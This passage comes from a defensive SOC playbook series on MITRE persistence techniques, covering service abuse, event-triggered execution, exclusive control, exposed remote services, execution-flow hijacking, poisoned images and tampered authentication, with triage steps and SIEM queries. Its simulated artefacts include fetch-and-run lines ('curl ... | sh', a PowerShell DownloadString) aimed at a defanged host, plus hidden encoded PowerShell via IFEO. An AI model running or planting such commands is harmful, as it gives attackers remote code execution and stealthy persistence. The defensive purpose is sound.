- Existing services modified to execute scripts or interpreters
- Services running from user-writable or non-standard paths
- Services communicating externally without business need
- Persistence surviving reboot without other startup artefacts
- Container workloads restarting malicious processes

Example use case scenario (end-to-end)

Context: SOC observes repeated outbound traffic from a server after malware cleanup. No scheduled tasks or Run keys exist. Investigation reveals a modified Windows service executing a PowerShell loader and a systemd service on a Linux jump host doing the same.

Attacker objective: Establish reliable, high-privilege persistence using native service managers.

Defender objective: Identify malicious system processes, remove persistence and restore service integrity.

What it looks like (simulated SOC artefacts)

A) Windows Service (Created or Modified)

2026-05-11T01:11:02Z
event=ServiceInstalled
service_name=WinUpdateHelper
binary_path=C:\ProgramData\winupd\svc.exe
start_type=auto
run_as=LocalSystem

B) Linux systemd Service

/etc/systemd/system/update.service
[Service]
ExecStart=/bin/bash /usr/lib/.cache.sh
Restart=always
User=root
2026-05-11T01:11:09Z
command=systemctl enable update.service

C) macOS Launch Agent (User Context)

~/Library/LaunchAgents/com.apple.sync.plist
ProgramArguments=/bin/sh /Users/shared/.u.sh
RunAtLoad=true

D) macOS Launch Daemon (System Context)

/Library/LaunchDaemons/com.apple.system.update.plist
ProgramArguments=/bin/bash /var/tmp/.sys.sh
RunAtLoad=true
UserName=root

E) Container Service (Restart Policy Abuse)

apiVersion: apps/v1
kind: Deployment

metadata:
name: metrics-agent
spec:
restartPolicy: Always
containers:
- name: agent
image: curlimages/curl
command: ["sh", "-c", "curl http://node[.]net/x.sh | sh"]

Severity decision (SOC)

Low

- Service change approved and documented
- Signed binaries from trusted vendors

Medium

- Service modified without documentation
- Limited scope or no malicious behaviour observed

High

- Malicious service confirmed
- SYSTEM/root execution
- External C2 or lateral movement observed

Example severity: High

(Auto-start service + interpreter execution + beaconing)

Step-by-step SOC workflow

Step 1 Validate system process legitimacy

Confirm:

1. Who created or modified the service/daemon?
2. Is there an approved change request?
3. What binary or script is executed?
4. What privilege level does it run under?

Decision point

- Legitimate system process → document and monitor

- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify process mechanism and scope

Platform	Mechanism	Attacker value
Windows	Services	SYSTEM persistence
Linux	systemd	Root persistence
macOS	LaunchAgent	User persistence
macOS	LaunchDaemon	Root persistence
Containers	Service/Deployment	Auto-restart execution

Step 3 Map behaviour to attacker intent

3A) Durable Persistence

Indicators

- Auto-start / restart policies
- Execution at boot

Attacker intent

- Guaranteed execution

3B) Privilege Abuse

Indicators

- SYSTEM or root context
- No user interaction required

Attacker intent

- High-impact control

3C) Stealth and Masquerading

Indicators

- OS-like names
- Placement in trusted directories

Attacker intent

- Avoid operational detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Persistent beaconing
2. Credential Access
 - Memory access, token usage
3. Lateral Movement
 - Remote service creation
4. Impact
 - Ransomware staging, sabotage

Decision point

- Evidence found → escalate to Incident Response / Major Incident

Containment actions

If detected early

1. Disable suspicious services/daemons
2. Block outbound connections from service processes
3. Prevent restart on next boot

If persistence confirmed

1. Stop and delete malicious services
2. Isolate affected hosts or nodes
3. Reset credentials accessible by services
4. Preserve service definitions for forensics

Eradication and recovery

- Remove malicious service definitions
- Delete associated binaries or scripts
- Restore services from trusted baselines
- Reimage systems if integrity is uncertain
- Validate clean boot and service state

Detection engineering (SIEM ideas)

A) New or modified service creation

index=os OR index=edr

| where event IN ("ServiceInstalled","ServiceModified","systemd_enable","launchd_load")

B) Service executing interpreter

index=edr

| where parent_process IN ("services.exe","systemd","launchd")

| where child_process IN ("powershell.exe","bash","sh","python")

C) Container service auto-restart anomalies

index=container

| where restart_policy="Always"

| where command LIKE "%curl%" OR command LIKE "%wget%"

Analyst checklist

- System processes inventoried
- Malicious services identified
- Persistence removed
- Credentials rotated if exposed
- Clean reboot and service state verified

Post-incident improvements

- Treat service managers as Tier-0 persistence surfaces
- Enforce code signing and path restrictions for services
- Alert on service changes outside maintenance windows
- Baseline services per OS, role and container cluster
- Include service-based persistence in SOC simulations

Playbook 56 (MITRE Persistence): Event Triggered Execution

Technique: Event Triggered Execution

Sub-techniques:

- Change Default File Association
- Screensaver
- Windows Management Instrumentation Event Subscription
- Unix Shell Configuration Modification
- Trap
- LC_LOAD_DYLIB Addition
- Netsh Helper DLL
- Accessibility Features
- AppCert DLLs
- Applnit DLLs
- Application Shimming
- Image File Execution Options Injection
- PowerShell Profile
- Emond
- Component Object Model Hijacking
- Installer Packages
- Udev Rules
- Python Startup Hooks

Purpose

Detect, investigate and respond to persistence mechanisms that trigger execution based on system or user events, enabling attackers to:

- Execute payloads only when specific conditions occur
- Avoid continuous execution and reduce noise
- Blend malicious execution into legitimate OS behaviour
- Persist without services, tasks or obvious startup artefacts
- Evade detection by appearing event-driven or reactive

Event-triggered persistence is stealthy and resilient, often surviving traditional startup and service reviews.

When to trigger this playbook

Trigger this playbook when indicators suggest execution tied to events rather than boot or login, including:

- Execution triggered by file open, process launch or system change

- Persistence that activates only under specific conditions
- WMI filters, registry injections or config file modifications
- Execution occurring without scheduled tasks or services
- Intermittent malicious behaviour with no clear trigger
- Security alerts correlated with specific user or system actions

Example use case scenario (end-to-end)

Context: SOC observes PowerShell execution only when Notepad is launched. Investigation reveals Image File Execution Options (IFEEO) injection that redirects notepad.exe execution to a malicious loader.

Attacker objective: Achieve conditional, low-noise persistence triggered by predictable user actions.

Defender objective: Identify hidden event triggers, remove persistence and restore normal execution paths.

What it looks like (simulated SOC artefacts)

A) IFEEO Injection

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe
 Debugger = powershell.exe -w hidden -enc SQBFaFgA...

B) WMI Event Subscription

Filter=USBInsert
 Event=Win32_VolumeChangeEvent
 Consumer=CommandLineEventConsumer
 CommandLineTemplate=cmd.exe /c payload.exe

C) PowerShell Profile Abuse

C:\Users\user\Documents\WindowsPowerShell\profile.ps1
 Invoke-Expression (New-Object Net.WebClient).DownloadString("http://node[.]net/p.ps1")

D) Accessibility Feature Hijack

sethc.exe replaced
 Trigger=Press SHIFT 5 times at login screen

E) Python Startup Hook

```
sitecustomize.py
import os os.system("curl http://node[.]net/x.sh | sh")
```

Severity decision (SOC)

Low

- Event-triggered behaviour documented and expected
- Signed binaries and legitimate configuration changes

Medium

- Unauthorised trigger present
- Limited execution scope, no external communication

High

- Malicious payload executed on trigger
- Persistence confirmed
- Credential access, C2 or lateral movement observed

Example severity: High

(IFEO injection → conditional PowerShell execution → beaconing)

Step-by-step SOC workflow

Step 1 Validate event-triggered execution legitimacy

Confirm:

1. What event triggers execution (process launch, file open, system change)?
2. Who created or modified the trigger?
3. Is the configuration approved and documented?
4. Does execution only occur under specific conditions?

Decision point

- Legitimate event automation → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify trigger mechanism and scope

Trigger type	Evidence	Attacker value
File association	Registry changes	User-driven execution

IFEO / Applnit	Process interception	Stealth execution
WMI events	Filters & consumers	Conditional persistence
Shell / profiles	Config scripts	User-context execution
OS hooks	DLL injection	Pre-execution control
Linux / macOS rules	Udev, dylib	Platform-specific stealth

Step 3 Map behaviour to attacker intent

3A) Low-Noise Persistence

Indicators

- Execution only on specific triggers
- Long idle periods

Attacker intent

- Avoid detection and alerting

3B) Execution Interception

Indicators

- Debugger redirection
- DLL hijacking

Attacker intent

- Hijack trusted execution paths

3C) Defense Evasion

Indicators

- No services or tasks
- Event-based logic

Attacker intent

- Bypass common persistence checks

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Trigger-based harvesting
2. Command and Control
 - Beacons after trigger
3. Lateral Movement
 - Triggered remote execution
4. Impact
 - On-demand ransomware or sabotage

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Disable or remove malicious trigger mechanisms
2. Block execution of associated binaries or scripts
3. Prevent trigger activation (temporary mitigation)

If persistence confirmed

1. Remove all malicious event triggers
2. Restore default configurations
3. Isolate affected hosts if secondary payloads executed
4. Preserve artefacts for forensic analysis

Eradication and recovery

- Delete malicious registry keys, scripts, hooks and rules
- Restore default file associations and execution paths
- Reimage systems if integrity is uncertain
- Validate triggers no longer execute payloads
- Monitor for re-creation attempts

Detection engineering (SIEM ideas)

A) IFEO and execution hijack detection

index=windows

| where registry_path LIKE "%Image File Execution Options%"

B) WMI event subscription monitoring

index=windows
| where event IN ("WmiFilterCreated", "WmiConsumerCreated", "WmiBindingCreated")

C) Shell and profile modification

index=os
| where file_path LIKE "%profile%" OR file_path LIKE "%bashrc%"

D) DLL and hook injection

index=edr
| where load_type="injected"

Analyst checklist

- Event triggers inventoried
- Malicious triggers identified
- Persistence fully removed
- Default behaviour restored
- Monitoring enhanced

Post-incident improvements

- Monitor event-triggered execution as Tier-0 persistence signals
- Regularly audit IFEO, WMI and hook-based mechanisms
- Restrict modification of execution interception points
- Baseline shell profiles and startup hooks
- Include event-triggered persistence in SOC training

Playbook 57 (MITRE Persistence): Exclusive Control

Technique: Exclusive Control

Purpose

Detect, investigate and respond to adversaries establishing persistence by asserting exclusive or dominant control over systems, services or resources, enabling attackers to:

- Prevent defenders or other attackers from accessing the system
- Maintain uninterrupted control over compromised assets
- Enforce attacker-defined access rules or locks
- Block security tooling, recovery or remediation
- Ensure long-term, uncontested persistence

Exclusive Control is ownership, not access the attacker is no longer just present they decide who else is allowed to operate.

When to trigger this playbook

Trigger this playbook when indicators suggest attackers are actively restricting or monopolising control of systems, including:

- Security tools disabled, blocked or prevented from starting
- Administrative access restricted to attacker-controlled accounts
- Legitimate services forcibly stopped or reconfigured
- System behaviour indicating “lockdown” or enforced states
- Attempts to prevent remediation, reboots or recovery actions

Example use case scenario (end-to-end)

Context: During incident response, SOC attempts to deploy EDR remediation actions on a compromised server. The agent fails to start repeatedly. Further investigation reveals the attacker modified service permissions and access control lists, allowing only a hidden admin account to manage key services.

Attacker objective: Maintain exclusive, uncontested persistence and prevent defenders from reclaiming the system.

Defender objective: Regain administrative control and safely evict the attacker.

What it looks like (simulated SOC artefacts)

A) Service Permission Manipulation

Service=EDRService
StartPermission=Denied
AllowedUsers=svc_hidden_admin

B) Tool Suppression

Process=antivirus.exe
Action=Terminated
RestartBlocked=True

C) Account Lockout or Restriction

AdminGroup=Modified
RemovedUsers=IT_Admins

D) Forced Configuration State

FirewallRules=Locked
ChangeAllowed=False

E) Persistence Reinforcement

ReapplyChanges=OnReboot

F) Follow-on Activity

NextAction=DefenseEvasion

Severity decision (SOC)

High

- Partial restriction of controls or admin access

Critical

- Full denial of defender access
- Security tooling neutralised
- System effectively “owned” by attacker

Example severity: Critical

(Attacker asserting exclusive control over host)

Step-by-step SOC workflow

Step 1 Validate exclusive control behaviour

Confirm:

1. Are defenders or tools blocked from performing actions?
2. Have permissions or ownership been altered maliciously?
3. Is control limited to attacker-controlled identities?
4. Are changes persistent across reboot or service restart?

Decision point

- Misconfiguration or admin error → correct and document
- Malicious exclusive control → escalate immediately

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
Permission locking	ACL changes	Defender denial
Tool suppression	AV/EDR disabled	Stealth
Admin monopoly	Hidden or sole admin	Ownership
Forced states	Immutable configs	Persistence
Auto-reapply	Changes persist	Resilience

Step 3 Map behaviour to attacker intent

3A) Defender Lockout

Indicators

- Security tools cannot start or update

Attacker intent

- Prevent detection and remediation

3B) Long-Term Control

Indicators

- Persistent permission or ownership changes

Attacker intent

- Maintain uncontested access

3C) Incident Response Disruption

Indicators

- Recovery actions fail repeatedly

Attacker intent

- Delay or derail response efforts

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Defense Evasion
 - Impair defenses, indicator removal
2. Privilege Escalation
 - Additional admin accounts or roles
3. Impact
 - Data destruction, ransomware, sabotage
4. Persistence
 - Multiple redundant mechanisms

Decision point

- Follow-on detected → escalate to Crisis / Containment IR

Containment actions

Immediate

1. Isolate affected systems from the network
2. Suspend attacker-controlled accounts
3. Prevent further configuration changes

If exclusive control confirmed

1. Perform **out-of-band recovery** (offline, safe mode, rescue media)
2. Capture forensic images before changes
3. Coordinate with IT Ops, IR and Management
4. Treat system as fully compromised

Eradication and recovery

- Restore control using trusted offline methods
- Rebuild systems where control cannot be guaranteed
- Reset all credentials associated with the host
- Restore security tooling from known-good states
- Validate permissions, ownership and policies

Detection engineering (SIEM ideas)

A) Security tool tampering

```
index=edr
| where action IN ("service_stop","permission_change")
| where target IN ("antivirus","edr","defender")
```

B) Privileged permission changes

```
index=windows OR index=linux
| where event_type="permission_change"
| where object IN (critical_services, security_tools)
```

C) Repeated failed remediation attempts

```
index=ir
| stats count by host, action
| where count > threshold
```

Analyst checklist

- Exclusive control behaviour confirmed
- Defender access restricted or denied
- System isolated and stabilised
- Offline or rebuild recovery initiated
- Incident escalated appropriately

Post-incident improvements

- Treat exclusive control as a loss-of-ownership event
- Enforce tamper protection on security tools
- Monitor permission and ownership changes aggressively
- Prepare offline recovery and rebuild playbooks
- Correlate tool suppression → permission locking → persistence

Playbook 58 (MITRE Persistence): External Remote Services

Technique: External Remote Services

Purpose

Detect, investigate and respond to adversaries establishing persistence by enabling or abusing externally accessible remote services, allowing attackers to:

- Maintain long-term access without custom malware
- Re-enter environments using legitimate remote management protocols
- Blend into normal administrative traffic
- Bypass many endpoint-based persistence detections
- Access systems from anywhere at will

External Remote Services is persistence via legitimate doors attackers don't need backdoors if they can keep the front door open.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious exposure of remote services, including:

- New externally reachable RDP, SSH, VPN or management services
- Firewall or cloud security group changes enabling inbound access
- Remote services enabled shortly after compromise
- Persistent remote logins from unusual locations
- Use of valid accounts with no associated persistence artefacts

Example use case scenario (end-to-end)

Context: SOC detects repeated successful RDP logins from a foreign IP to a server that previously had no external access. Investigation shows a firewall rule was added to allow inbound RDP and a local admin account was enabled shortly after an earlier intrusion.

Attacker objective: Ensure reliable re-entry using standard remote access methods.

Defender objective: Close exposed services, revoke access and prevent recurrence.

What it looks like (simulated SOC artefacts)

A) Newly Exposed Remote Service

Service=RDP

Port=3389
Exposure=Internet

B) Firewall Rule Modification

Rule=Allow-RDP-External
Source=0.0.0.0/0

C) Valid Remote Login

User=svc_admin
LogonType=Remote
Result=Success

D) No Malware Persistence

ScheduledTasks=None
Services=None

E) Repeated Access Pattern

LoginFrequency=Daily
GeoLocation=Unusual

F) Follow-on Activity

NextAction=InternalDiscovery

Severity decision (SOC)

High

- Limited external exposure with restricted accounts

Critical

- Persistent external access using admin or service accounts
- Internet-facing remote services added post-compromise

Example severity: Critical

(Long-term attacker access via exposed remote services)

Step-by-step SOC workflow

Step 1 Validate external remote service persistence

Confirm:

1. Is a remote service exposed externally?
2. Was exposure unauthorised or undocumented?
3. Are valid credentials being used repeatedly?
4. Does access persist without malware or autoruns?

Decision point

- Legitimate remote access → validate approval and controls
- Malicious persistence via remote services → escalate immediately

Step 2 Identify service and scope

Service	Evidence	Attacker value
RDP	Port 3389 exposed	GUI access
SSH	Port 22 exposed	Shell access
VPN	New accounts	Broad reach
Cloud admin	Console/API access	Infrastructure control
WinRM/SMB	Remote admin	Lateral movement

Step 3 Map behaviour to attacker intent

3A) Durable Access

Indicators

- Repeated successful logins

Attacker intent

- Maintain long-term foothold

3B) Defense Evasion

Indicators

- No malware persistence

Attacker intent

- Avoid detection and cleanup

3C) Flexible Control

Indicators

- Multiple services or entry points

Attacker intent

- Ensure re-entry even if one path is closed

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Discovery
 - Host, user and network enumeration
2. Privilege Escalation
 - Account or role manipulation
3. Lateral Movement
 - SMB, RDP, SSH pivoting
4. Impact
 - Ransomware, data theft

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Restrict or disable exposed remote services
2. Remove unauthorised firewall or security group rules
3. Block suspicious source IPs

If persistence confirmed

1. Disable or rotate credentials used for access
2. Enforce MFA on all remote services
3. Audit all remote access logs
4. Notify SOC leadership, Network and Cloud teams

Eradication and recovery

- Close unnecessary external access paths
- Restore firewall and network baselines

- Reset affected accounts and tokens
- Harden remote access policies
- Monitor closely for renewed exposure

Detection engineering (SIEM ideas)

A) New external service exposure

```
index=network
| where action="allow"
| where dest_port IN (22,3389,5985,5986)
```

B) Repeated remote logins

```
index=auth
| where logon_type="Remote"
| stats count by user, src_ip
```

C) Remote access without persistence artefacts

```
index=auth
| where persistence_detected="False"
```

Analyst checklist

- External remote persistence confirmed
- Exposed services identified and closed
- Credentials rotated
- Network controls restored
- Incident escalated appropriately

Post-incident improvements

- Treat external remote access as a persistence vector
- Enforce zero-trust and MFA for all remote services
- Continuously monitor firewall and cloud exposure changes
- Baseline approved external services
- Correlate remote exposure → login → post-access behaviour

Playbook 59 (MITRE Persistence): Hijack Execution Flow

Technique: Hijack Execution Flow

Sub-techniques:

- DLL
- Dylib Hijacking
- Executable Installer File Permissions Weakness
- Dynamic Linker Hijacking
- Path Interception by PATH Environment Variable
- Path Interception by Search Order Hijacking
- Path Interception by Unquoted Path
- Services File Permissions Weakness
- Services Registry Permissions Weakness
- COR_PROFILER
- KernelCallbackTable
- AppDomainManager

Purpose

Detect, investigate and respond to adversaries achieving persistence by redirecting how legitimate software loads or executes code, enabling attackers to:

- Execute malicious code under trusted processes
- Persist without creating new autorun artefacts
- Abuse default OS and application loading behaviour
- Evade signature-based detection
- Achieve durable, stealthy persistence

Hijack Execution Flow is persistence by redirection attackers don't add new execution paths they bend existing ones.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or malicious execution paths, including:

- Legitimate applications loading unexpected libraries
- Executables or services running attacker-controlled binaries
- Environment variables altered to redirect execution
- Registry or file permission weaknesses abused
- Execution occurring without new scheduled tasks or services

Example use case scenario (end-to-end)

Context: SOC observes explorer.exe repeatedly spawning outbound connections. EDR telemetry shows explorer.exe loading a malicious DLL from a user-writable directory due to search-order hijacking. No new persistence mechanisms are present.

Attacker objective: Maintain stealthy persistence by abusing trusted execution paths.

Defender objective: Restore execution integrity and eliminate redirection points.

What it looks like (simulated SOC artefacts)

A) DLL / Dylib Hijacking

Process=legit_app.exe
LoadedModule=C:\Users\Public\version.dll
Signed=False

B) Search Order Hijacking

ExpectedDLL=C:\Windows\System32\version.dll
LoadedFrom=C:\AppFolder\version.dll

C) PATH Interception

PATH=C:\Users\Public\bin;C:\Windows\System32
Executed=whoami.exe (malicious)

D) Unquoted Service Path

ServicePath=C:\Program Files\App Service\service.exe
Executed=C:\Program.exe

E) Installer File Permission Abuse

Installer=setup.exe
Permissions=Everyone:Write

F) Registry / Service Permission Weakness

ServiceKey=HKLM\SYSTEM\CurrentControlSet\Services\AppSvc
Permissions=Writable

G) COR_PROFILER Abuse

EnvVar=COR_PROFILER

ProfilerPath=C:\ProgramData\profiler.dll

H) KernelCallbackTable / AppDomainManager

Process=trusted_app.exe

ExecutionRedirected=True

Severity decision (SOC)

High

- Single execution-flow hijack with limited reach

Critical

- Hijack affects core services, admin tools or many systems
- Persistence achieved without visible autorun artefacts

Example severity: Critical

(Stealthy long-term persistence via execution redirection)

Step-by-step SOC workflow

Step 1 Validate execution-flow hijacking

Confirm:

1. Is execution redirected from its intended path?
2. Are unexpected libraries or binaries loaded?
3. Is redirection persistent across reboots or executions?
4. Is the parent process legitimate and trusted?

Decision point

- Legitimate plugin or extension → validate source
- Malicious execution hijack → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
DLL / Dylib hijacking	Rogue libraries	Stealth
Search order hijacking	Local DLL precedence	Reliability
PATH interception	Fake binaries	Simplicity
Unquoted paths	Program.exe abuse	Privilege

Service permission abuse	Writable services	SYSTEM access
COR_PROFILER	.NET interception	Evasion
Kernel/AppDomain abuse	Runtime hijack	Deep stealth

Step 3 Map behaviour to attacker intent

3A) Trust Abuse

Indicators

- Execution under trusted binaries

Attacker intent

- Evade detection and whitelisting

3B) Durable Persistence

Indicators

- Triggered every application run

Attacker intent

- Long-term access without noise

3C) Privilege Leverage

Indicators

- Services or admin tools hijacked

Attacker intent

- Maintain elevated execution

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network activity from trusted processes
2. Credential Access
 - Memory or token access

3. Privilege Escalation
 - Service-level execution
4. Defense Evasion
 - Masquerading or indicator removal

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Isolate affected systems
2. Prevent execution of hijacked applications
3. Block malicious libraries or binaries

If hijack confirmed

1. Preserve malicious artefacts and paths
2. Restore correct execution paths and permissions
3. Remove attacker-controlled files and registry entries
4. Notify SOC leadership and platform owners

Eradication and recovery

- Remove rogue libraries and binaries
- Fix file, directory and registry permissions
- Restore default PATH and environment variables
- Reinstall or repair affected software
- Monitor closely for re-hijacking attempts

Detection engineering (SIEM ideas)

A) Trusted process loading unsigned modules

```
index=edr
| where event="module_load"
| where signature_status!="Signed"
```

B) DLL loaded from non-standard paths

```
index=edr
| where process_name IN (trusted_apps)
```

| where module_path NOT IN standard_library_paths

C) PATH or registry modification

index=windows

| where event_type IN ("env_change","registry_change")

Analyst checklist

- Execution flow hijack confirmed
- Sub-technique identified
- Malicious redirection removed
- Permissions and paths hardened
- Incident escalated appropriately

Post-incident improvements

- Treat execution flow as a persistence surface
- Enforce strict permissions on executables and services
- Monitor library load paths continuously
- Baseline expected DLLs and modules
- Correlate trusted execution → abnormal behaviour → persistence

Playbook 60 (MITRE Persistence): Implant Internal Image

Technique: Implant Internal Image

Purpose

Detect, investigate and respond to adversaries achieving persistence by modifying or implanting malicious code into internal system images (OS images, VM templates, golden images, container base images), enabling attackers to:

- Persist across system rebuilds and reimaging
- Infect new systems at provisioning time
- Bypass endpoint-level cleanup and remediation
- Scale persistence silently across environments
- Maintain long-term access without active exploitation

Implant Internal Image is persistence at the supply layer attackers don't fight cleanup they poison the source of truth.

When to trigger this playbook

Trigger this playbook when indicators suggest newly built or redeployed systems are compromised immediately, including:

- Freshly imaged hosts exhibiting malicious behaviour
- Recurrent compromise after rebuild or reimage
- Golden images or templates failing integrity checks
- Malware appearing before user activity or patching
- Compromise spreading only through newly provisioned assets

Example use case scenario (end-to-end)

Context: SOC notices that every new virtual machine deployed from a standard template begins beaconing to the same external IP within minutes of boot. Investigation confirms a startup script embedded inside the golden VM image.

Attacker objective: Achieve self-propagating persistence through the organisation's internal build pipeline.

Defender objective: Identify the poisoned image, stop propagation and rebuild from a trusted baseline.

What it looks like (simulated SOC artefacts)

A) Immediate Post-Provisioning Activity

HostAge=3 minutes
Process=svchost.exe
Action=Outbound HTTPS

B) No Initial Access Indicators

Phishing=None
Exploit=None
CredentialUse=None

C) Image-Embedded Script

Image=/templates/win2019-gold.vhdx
StartupScript=C:\ProgramData\init.ps1

D) Reproducible Compromise

AffectedHosts=AllNewBuilds
OlderHosts=Unaffected

E) Infrastructure-Level Persistence

Source=VM Template
RebuildIneffective=True

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

High

- Image compromise limited to a small environment

Critical

- Golden image, base container or OS template compromised
- Compromise propagates automatically to new systems

Example severity: Critical

(Environment-wide persistence via poisoned internal image)

Step-by-step SOC workflow

Step 1 Validate internal image implantation

Confirm:

1. Are newly provisioned systems compromised immediately?
2. Does compromise persist after rebuild?
3. Is behaviour consistent across systems from the same image?
4. Is there no external intrusion path per system?

Decision point

- Build misconfiguration → fix and redeploy
- Image-level compromise → escalate immediately

Step 2 Identify image scope and exposure

Image Type	Evidence	Attacker value
Golden OS image	Startup malware	Org-wide spread
VM templates	Auto-infected hosts	Scale
Container base images	Compromised workloads	Cloud persistence
VDI images	User compromise	Credential access
Recovery images	Reinfection	Cleanup denial

Step 3 Map behaviour to attacker intent

3A) Self-Propagating Persistence

Indicators

- Every new system compromised

Attacker intent

- Outlast remediation

3B) Defense Evasion

Indicators

- No malware installation events

Attacker intent

- Bypass endpoint detection

3C) Long-Term Control

Indicators

- Persistence survives rebuilds

Attacker intent

- Maintain durable access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons from new hosts
2. Credential Access
 - Domain or service credential harvesting
3. Lateral Movement
 - Expansion from freshly built systems
4. Impact
 - Ransomware, sabotage, espionage

Decision point

- Follow-on detected → escalate to Crisis / Enterprise IR

Containment actions

Immediate

1. Freeze all provisioning and deployments
2. Isolate newly built systems
3. Disable use of affected images/templates

If image compromise confirmed

1. Preserve compromised images for forensic analysis
2. Identify when and how image was modified
3. Notify SOC leadership, IT Ops, Cloud and Management
4. Treat incident as environment-wide compromise

Eradication and recovery

- Rebuild images from offline trusted sources
- Validate integrity using hashes and signatures
- Rotate credentials used during image creation
- Audit CI/CD, imaging and provisioning pipelines
- Redeploy all systems from clean images

Detection engineering (SIEM ideas)

A) New host immediate beaconing

```
index=netflow  
| where host_age < 10  
| where dest_ip IN suspicious_list
```

B) Rebuild without cleanup effect

```
index=edr  
| where rebuild_event="True"  
| where malicious_activity="True"
```

C) Image integrity drift

```
index=fim  
| where object_type="image"  
| where integrity_status="Modified"
```

Analyst checklist

- Image-level persistence confirmed
- Compromised images identified
- Provisioning halted
- Clean images rebuilt and validated
- Incident escalated appropriately

Post-incident improvements

- Treat images as Tier-0 assets
- Enforce cryptographic signing of internal images
- Restrict access to image repositories
- Monitor provisioning pipelines for tampering
- Correlate new build → immediate activity → image source

Playbook 61 (MITRE Persistence): Modify Authentication Process

Technique: Modify Authentication Process

Sub-techniques:

- Domain Controller Authentication
- Password Filter DLL
- Pluggable Authentication Modules
- Network Device Authentication
- Reversible Encryption
- Multi-Factor Authentication
- Hybrid Identity
- Network Provider DLL
- Conditional Access Policies

Purpose

Detect, investigate and respond to adversaries achieving persistence by altering authentication mechanisms themselves, enabling attackers to:

- Maintain long-term access without relying on malware
- Bypass or weaken authentication controls
- Harvest credentials transparently
- Insert backdoors into identity infrastructure
- Survive password resets, reimaging and endpoint cleanup

Modify Authentication Process is identity-layer persistence attackers don't just steal credentials they rewrite how trust works.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised changes to authentication logic or identity controls, including:

- Unexpected changes to domain controller or IAM settings
- New or modified authentication DLLs or modules
- MFA behaviour changing without policy approval
- Authentication succeeding when it should fail
- Identity changes persisting across credential resets

Example use case scenario (end-to-end)

Context: SOC detects repeated successful logins for a terminated user despite password resets and account disablement. Investigation reveals a custom password filter DLL installed on the domain controller that silently accepts attacker-defined credentials.

Attacker objective: Maintain durable, invisible persistence by compromising the authentication pipeline itself.

Defender objective: Restore identity integrity and evict attacker access completely.

What it looks like (simulated SOC artefacts)

A) Domain Controller Authentication Abuse

Event=AuthenticationSuccess
User=DisabledUser01
Source=Unexpected

B) Password Filter DLL

File=C:\Windows\System32\evilpass.dll
Registry=HKLM\SYSTEM\CCS\Control\Lsa

C) PAM Modification (Linux)

File=/etc/pam.d/sshd
AddedRule=pam_exec.so

D) Network Device Authentication

Device=Firewall
AuthMethod=Local
Change=RADIUS Disabled

E) MFA Weakening

Policy=MFA
Change=PushRequired=False

F) Hybrid Identity Abuse

OnPremAccount=Synced
CloudAccount=Active

G) Network Provider DLL

Registry=HKLM\SYSTEM\CCS\Control\NetworkProvider\Order
DLL=customprov.dll

H) Conditional Access Bypass

Policy=BlockForeignLogin
Exception=Added

I) Follow-on Activity

NextAction=PrivilegeEscalation

Severity decision (SOC)

High

- Limited authentication changes affecting non-critical systems

Critical

- Identity infrastructure or authentication pipeline modified
- Backdoor access survives password resets and rebuilds

Example severity: Critical

(Identity-layer persistence compromising trust)

Step-by-step SOC workflow

Step 1 Validate authentication modification

Confirm:

1. Has the authentication logic itself been changed?
2. Do changes persist across password resets?
3. Are unauthorised modules or policies present?
4. Is access granted outside expected conditions?

Decision point

- Legitimate IAM change → validate approval and scope
- Malicious authentication modification → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
DC authentication	Backdoored logons	Domain control
Password filter DLL	Silent bypass	Stealth
PAM	OS-level access	Root persistence
Network device auth	Infrastructure access	Lateral reach
Reversible encryption	Password recovery	Credential reuse
MFA manipulation	Control bypass	Trust erosion
Hybrid identity	Cloud/on-prem pivot	Broad persistence
Network provider DLL	Credential interception	Deep stealth
Conditional access	Policy exceptions	Long-term access

Step 3 Map behaviour to attacker intent

3A) Durable Identity Persistence

Indicators

- Access survives resets and rebuilds

Attacker intent

- Maintain long-term control

3B) Trust Subversion

Indicators

- Authentication rules altered

Attacker intent

- Redefine who is trusted

3C) Stealth and Evasion

Indicators

- No malware or autoruns

Attacker intent

- Avoid endpoint-based detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Privilege Escalation
 - Domain admin or cloud admin abuse
2. Lateral Movement
 - Identity-based pivoting
3. Defense Evasion
 - Policy weakening
4. Impact
 - Ransomware, espionage, fraud

Decision point

- Follow-on detected → escalate to Crisis / Identity IR

Containment actions

Immediate

1. Isolate identity infrastructure (DCs, IAM systems)
2. Disable attacker-controlled identities and sessions
3. Block authentication paths where possible

If authentication compromise confirmed

1. Preserve authentication modules, policies and configs
2. Remove unauthorised DLLs, PAM entries and providers
3. Roll back IAM and conditional access changes
4. Notify SOC leadership, IAM, IT Ops and Executive Management

Eradication and recovery

- Rebuild identity systems from trusted baselines
- Rotate all credentials (users, service accounts, admins)
- Re-establish MFA and conditional access policies
- Audit all authentication-related configurations
- Monitor aggressively for re-modification

Detection engineering (SIEM ideas)

A) Authentication module changes

index=windows OR index=linux
| where event_type IN ("dll_load", "file_modify")

| where object IN (auth_modules)

B) Successful login after disable/reset

index=auth

| where account_status="Disabled"

| where auth_result="Success"

C) IAM / policy change monitoring

index=iam

| where action IN ("policy_update","mfa_disable","ca_exception")

Analyst checklist

- Authentication process modification confirmed
- Sub-technique identified
- Identity infrastructure isolated
- Trust restored and credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat identity systems as Tier-0 assets
